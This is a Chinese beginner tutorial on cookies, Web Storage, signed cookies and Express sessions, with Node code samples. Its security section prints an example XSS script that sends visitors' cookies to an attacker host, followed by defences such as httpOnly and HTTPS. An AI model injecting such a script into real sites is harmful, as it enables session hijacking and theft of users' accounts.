cookie與session小白入門


cookie

cookie的起源

早期web剛開始出現復雜的應用程序時,產生了對于能夠直接在客戶端上存儲用戶信息能力的需求(例如登錄信息、偏好設定等等)。服務器希望每個http請求到來的同時帶來一些個性化的信息,以進行個性化的處理。這個需求的第一個解決方案是網景公司于1993年創造的cookie,定義與RFC2109。

wiki:Cookie(復數形態Cookies),中文名稱為“小型文本文件”或“小甜餅”,指某些為了辨別用戶身份而儲存在用戶本地終端(Client Side)上的數據(通常經過加密)

cookie的原理與實現

服務器在http響應頭中添加Set-Cookie信息,瀏覽器收到響應后會根據頭中的字段保存cookie,下一次訪問時在請求頭中附帶cookie內容,供服務器根據cookie值進行后續處理。
下面用node express實現一個簡單的由服務器發放cookie的例子,記錄用戶在10秒內訪問的次數:

var express = require('express'),
    cookieParser = require('cookie-parser'); //cookie-parser是一個中間件,解析請求頭中的cookies并填入req.cookies對象
var app = express();
app.listen(3000);
app.use(cookieParser());
app.get('/', function (req, res) {
    if (req.cookies.visit) {
        res.cookie('visit', +req.cookies.visit + 1, {maxAge: 10000});
        res.send("再次歡迎訪問");
    } else {
        res.cookie('visit', 1, {maxAge: 10000});
        res.send("歡迎首次訪問");
    }
    if (!req.cookies.hello) {
        res.cookie('hello', 'hello world', {maxAge: 5000});
    }
});

首次訪問/,觀察response header:

Set-Cookie:hello=hello%20world; Max-Age=5; Path=/; Expires=Fri, 01 Jul 2016 08:31:39 GMT
Set-Cookie:visit=1; Max-Age=10; Path=/; Expires=Fri, 01 Jul 2016 08:31:44 GMT

設置了兩個cookie,并指定了時效。5秒內再次訪問/,則響應頭中不再包含set-cookie hello;5秒后訪問,cookie hello失效,服務器再次發送cookie hello。10秒內不斷訪問/,則服務器每次都會重新發送cookie visit,值為10秒內訪問的次數,而次數是根據用戶發送的cookie hello來計算的。
第二次訪問的request header:Cookie:hello=hello%20world; visit=1 cookie們用';'連接后被發送。
這樣,就實現了我們的需求,由客戶端存儲服務器想要的個性化信息。

cookie的構成與限制

一個cookie的信息在發送前由服務器設置,express的res.cookie可以自定義設置。
res.cookie(name, value [, options])

  • 名稱-值 name-value:名稱不區分大小寫;值為字符串,兩者都必須被URL編碼
    options
  • 域 domain:cookie對哪個域有效,瀏覽器向該域發送的請求中都會包含這個cookie。若域x = www.A.com,那么只有訪問x時才會發送該cookie;若x = .A.com,則訪問x的子域如bb.A.com也會發送
  • 路徑 path:對于訪問指定域中的路徑,才向服務器發送該cookie
  • 失效時間 expires:表示cookie何時應該被刪除的時間戳,也就是何時停止向服務器發送該cookie。若設置為以前的時間,則立即刪除
  • maxAge:expires的方便版,設置一個毫秒數,從現在開始計時;<=0立即刪除。expires 是 UTC 格式時間,maxAge 是 cookie 多久后過期的相對時間。當不設置這兩個選項時,會產生 session cookie,session cookie 是暫時的,當用戶關閉瀏覽器時,就被清除(準確的說應該是和瀏覽器生命周期一致)。
  • 安全標志 secure: true表示僅https才發送該cookie
  • httpOnly: true表示該cookie不能被瀏覽器訪問,只能被服務器訪問
JS瀏覽器端操作cookie

BOM為我們提供了操作cookie的接口:document.cookie。在一個頁面中只能訪問當前頁面可用的cookie(根據cookie的域、路徑、失效時間和安全設置),它返回一個分號連接的鍵值對字符串:
document.cookie // 輸出當前頁可訪問的cookie:"hello=hello; visit=1"
添加cookie:
document.cookie=encodeURIComponent("hey") + "=" + encodeURIComponent("you") + "; domain=localhost:3000; path=/" //添加cookie hey
覆蓋cookie:
document.cookie=encodeURIComponent("hello") + "=" + encodeURIComponent("new world")
由于JS中讀寫cookie不是非常直觀,常常需要寫一些工具函數來簡化操作cookie,如讀取、寫入、刪除。其中,刪除需要使用重寫一個失效時間為過去的cookie,它的名稱、路徑、域、安全選項需要相同。
看一個例子:

document.cookie // 假設當前頁面在路徑/abc下,"A=1" cookie A的path為/abc
document.cookie = "A=2; path='/'"
document.cookie // "A=1; A=2" 

這是因為倆A的path不同。名稱、域、路徑、安全選項共同確定一個唯一的cookie。

cookie的限制

瀏覽器對每個域能保存的cookie數量限制不同,而大多瀏覽器都對單個cookie的長度限制在4KB,若超過這個長度,則會被瀏覽器拋棄。
由于所有的cookie都會由瀏覽器作為請求頭發送,所以在cookie中存儲大量信息會影響到特定域的請求性能。盡管瀏覽器對cookie進行了大小限制,不過最好還是盡可能在cookie中少存儲信息,以避免影響性能。
cookie的性質和它的局限性使得其并不能作為存儲大量信息的理想手段,所以又出現了其他客戶端存儲方法。

其他客戶端存儲機制
Web Storage

最早在Web應用1.0規范中提出,最終成為了H5的一部分,它的目的是提供一種在cookie之外存儲會話數據的途徑,并提供一種存儲大量可以跨會話存在的數據的機制。在BOM中它主要有兩個常用對象:
window.sessionStorage
window.localStorage
都是Storage類的對象,通過設置鍵值對來存儲值。

  • sessionStorage 與上面提到過的 session cookie 的區別:
    1.前者存儲在window.sessionStorage中,由頁面腳本來賦值;后者存儲在document.cookie中,就是個expires與maxAge為默認的cookie,由response header set-cookie賦值;
    2.MDN上的解釋:

A page session lasts for as long as the browser is open and survives over page reloads and restores. Opening a page in a new tab or window will cause a new session to be initiated, which differs from how session cookies work.

試了一下兩者,我的理解是:對于sessionStorage,新開一個tab或窗口都算一個新的會話,例如頁面A在tab X中set了一個sessionStorage m,另一個tab或窗口中打開A,是沒有m滴,因此它的作用域僅在當前tab,而關閉了A,m也就沒了,生命周期也僅限于當前tab;而對于session cookie,只要瀏覽器沒有關閉,它都在。(若理解有偏差,感謝指出)
  • localStorage
    localStorage作為持久保存客戶端數據的方案。曾經firefox推出過一個globalStorage,后來在h5規范中被前者取代。要訪問同一個localStorage對象,頁面必須來自同一域名、同一協議、同一端口
    生命周期:保存到js刪除或者用戶主動清除瀏覽器緩存。
    PS:storage事件 localStorage發送變更會觸發該事件,可用于同一域名下的頁面間通信 參考

** 三者區別**

| cookie | sessionStorage | localStorage
-|------|------------- | ----------
生命周期|由expires決定|到本tab或window關閉|到js刪除或瀏覽器清除緩存
作用范圍|由domain與path決定|本tab或本window|同一域名、協議、端口

signedCookie

想象一下,如果某個網站用戶每次操作都需要輸入用戶名密碼,那太煩了。如何用cookie解決呢?
實現方法是把登錄信息如賬號、密碼等保存在Cookie中,并控制Cookie的有效期,下次訪問時再驗證Cookie中的登錄信息即可。
保存登錄信息有多種方案。

  • 最直接的是把用戶名與密碼明文都保持到cookie中,下次訪問時服務器檢查cookie中的用戶名與密碼,與數據庫比較。這是一種比較危險的選擇,一般不把密碼等重要信息保存到Cookie中。
  • 還有一種方案是把密碼加密后保存到Cookie中,下次訪問時解密并與數據庫比較。這種方案略微安全一些,至少客戶端保存的是密碼的密文。這兩種方案驗證賬號時都要查詢數據庫,而且每次都發個密碼過去被抓到包都完蛋。
  • signedCookie:用戶只需第一次訪問時輸入用戶名密碼,服務器查庫驗證,然后利用信息摘要算法(如md1,sha1等)對用戶名和服務器上的secret string計算一次,連同賬號一塊保存到cookie中。下次訪問時,請求頭里帶著用戶名和摘要,服務器只需要用自己的算法和secret string對用戶名計算一下,判斷結果是否一致即可認證。這樣就不用每次都傳密碼啦。用戶或攻擊者也沒法偽造信息了,一旦它更改了 cookie 中的信息,則服務器會發現 hash 校驗的不一致;而且畢竟他不懂服務器上的seret string是什么,而暴力破解哈希值的成本太高。

session

session的起源

由于HTTP協議是無狀態的協議,所以服務端需要記錄客戶端的狀態時(不想存數據庫的用戶數據),就需要用某種機制來識別記錄。在識別用戶這個需求上,上述的signedCookie是一種解決方案,但它只是用來識別登錄用戶,不能標識任意的訪問請求;而對于記錄這個需求,一些重要的數據就不能存放在 cookie 中了,客戶端容易偽造,而且如果cookie太多也慢。
為了解決這些問題,就有人設計了session,session 中的數據是保留在服務器端的,服務器對一個用戶在一次會話期間保存一個session對象。通過客戶端一份、服務器端一份相同的字段來實現用戶識別,通過服務器端在該session中保存鍵值對來記錄用戶數據。(從存儲角度上說cookie是減輕服務器端存儲壓力,session是減輕客戶端壓力、減少傳輸帶寬,都是舍己為人)

session的原理與實現

session實現也得靠cookie。當客戶端第一次訪問某網站時,服務器會根據自定義的規則計算出一個新的sid(它不會重復,也極難被仿造),創建一個對應的session對象并存儲;然后sid作為cookie發給瀏覽器。此后服務器根據收到請求里的sid來匹配session,session中除了sid外可以存一些其他該客戶端的信息鍵值對(signedCookie是用來識別登錄的用戶,sid是識別http請求,雖然他倆看起來很像)。這樣只通過一個sid就能實現記錄用戶的狀態啦。

如果說Cookie機制是通過檢查客戶身上的“通行證”來確定客戶身份的話,那么Session機制就是通過檢查服務器上的“客戶明細表”來確認客戶身份。Session相當于程序在服務器上建立的一份客戶檔案,客戶來訪的時候只需要查詢客戶檔案表就可以了

sid的生命周期:通常服務器設置這個sid為一個默認expires的session cookie,客戶端關了瀏覽器代表本次會話結束它就沒了;服務器端的session存儲一般也會給每個session設定一個時效,比如1小時,1小時內用戶沒有再訪問就刪除這個session。(若1小時后用戶請求再攜帶服務器已刪除的sid,那么服務器檢索不到就會新建一個session并返回一個新的sid)

還是用express舉個栗子:
express 中操作 session 要用到 express-session 這個模塊,主要的方法就是session(options),其中 options 中包含可選參數:

  • name: 設置 cookie 中,保存 session 的字段名稱,默認為 connect.sid
  • store: session 的存儲方式,默認存放在內存中,也可以使用 redis,mongodb 等。express 生態中都有相應模塊的支持
  • secret: 通過設置的 secret 字符串,來計算sid
  • cookie: 設置存放 sid 的 cookie 的相關選項,默認為(default: { path: '/', httpOnly: true, secure: false, maxAge: null })
  • genid: 產生一個新的 session_id 時,所使用的函數, 默認使用 uid-safe這個 npm 包
  • rolling: 每個請求都重新設置一個 sid 相同的 cookie,延長時效,默認為 false
  • resave: 即使 session 沒有被修改,也保存 session 值,默認為 true
  • saveUninitialized: 對不帶sid的請求設置新的session,默認為true
    利用session來存儲用戶對某頁面的訪問次數:
var express = require('express');// 首先引入 express-session 這個模塊
var session = require('express-session');
var app = express();app.listen(5000);// 按照上面的解釋,設置 session 的可選參數
app.use(session({ secret: 'recommand 128 bytes random string', cookie: { maxAge: 60 * 1000 }}));
app.get('/', function (req, res) { // 檢查 session 中的 isVisit 字段 
// 如果存在則增加一次,否則為 session 設置 isVisit 字段,并初始化為 1。
 if(req.session.isVisit) { 
    req.session.isVisit++; 
    res.send('<p>第 ' + req.session.isVisit + '次來此頁面</p>'); 
} else { 
    req.session.isVisit = 1; 
    res.send("歡迎第一次來這里"); 
    console.log(req.sessionID);   // Q1t2E1BmlR3jLisjDPq5KgMX6ZsHsRfl
}});

安全

session安全

從前文可以知道,session數據放在后端,sid放在前端,這就存在著sid被盜用的可能:

  • 偽造:如果web應用的用戶十分多,那么攻擊者自行設計的隨機算法的一些口令值就有理論機會命中有效的口令值
  • XSS:攻擊者往往利用網站沒有對用戶內容轉義處理進行腳本注入獲取用戶在該網站上的cookie
  • 竊聽 / 中間人攻擊

防御偽造sid
session基于cookie,那么可以利用上文提到的signedCookie來讓sid更加安全。
上文signedCookie舉的栗子是對用戶名簽名,那么這里對sid簽名就OK了。觀察上節session例子的cookie與sid:

cookie

可以看到瀏覽器存的cookie connect.sid的值由三部分組成:'s%3A'('s:'的編碼),中間是sid, '.' 之后是signedSid。
計算set-cookie值對應express-session模塊中的這行代碼:

var signed = 's:' + signature.sign(val, secret);

secret就是一開始session設置中的密鑰了。客戶端盡管可以偽造口令值,但是由于不知道secret,簽名信息很難偽造。后臺只需要在響應時將口令和簽名比對,如果簽名非法,將服務器端該sid的數據立即過期即可。

防御竊聽、XSS
XSS漏洞
XSS跨站腳本攻擊大家已經很熟悉了,攻擊者往往利用網站沒有對用戶內容轉義處理進行腳本注入獲取用戶在該網站上的cookie。例如,網站直接輸出了一段攻擊者的留言:

<script>
var d = document.createElement('script');
d.src = 'attacker.com/x?' + document.cookie.replaceAll(';', '&');
document.body.appendChild(d);
</script>

其他用戶打開頁面就中招了,這段注入腳本把用戶的cookie發給了攻擊者。
防御方法一種是設置cookie的httponly字段為true,這樣腳本就不能訪問到該cookie了。
還有一種是將客戶端的某些獨有信息與口令作為原值,然后簽名,這樣攻擊者一旦不在原始的客戶端上進行訪問,就會導致簽名失敗。這些獨有信息包括用戶IP和用戶代理。

當然在中間人攻擊(尤其同網,比如免費wifi的劫持風險)的情況下,session截獲重放基本也是抵擋不住的了。徹底解決方法是上https,并且需要要求瀏覽者有能力辨識https出示的證書真假。


參考:

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,606評論 6 533
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,582評論 3 418
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,540評論 0 376
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 63,028評論 1 314
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,801評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,223評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,294評論 3 442
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,442評論 0 289
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,976評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,800評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,996評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,543評論 5 360
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,233評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,662評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,926評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,702評論 3 392
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,991評論 2 374

推薦閱讀更多精彩內容

  • 背景在HTTP協議的定義中,采用了一種機制來記錄客戶端和服務器端交互的信息,這種機制被稱為cookie,cooki...
    時芥藍閱讀 2,378評論 1 17
  • 注:本文轉載自前端大全 背景 在HTTP協議的定義中,采用了一種機制來記錄客戶端和服務器端交互的信息,這種機制被稱...
    楠小忎閱讀 685評論 0 0
  • 2.Spark之于Hadoop 更準確地說,Spark是一個計算框架,而Hadoop中包含計算框架MapReduc...
    Albert陳凱閱讀 2,276評論 0 5
  • 生活不是你想象的那么美麗 很多事情都會出奇不意 《賽翁失馬》的故事也撐開了意外的笑臉 《農夫和蛇》的故事 也在不斷...
    老查查閱讀 2,606評論 54 124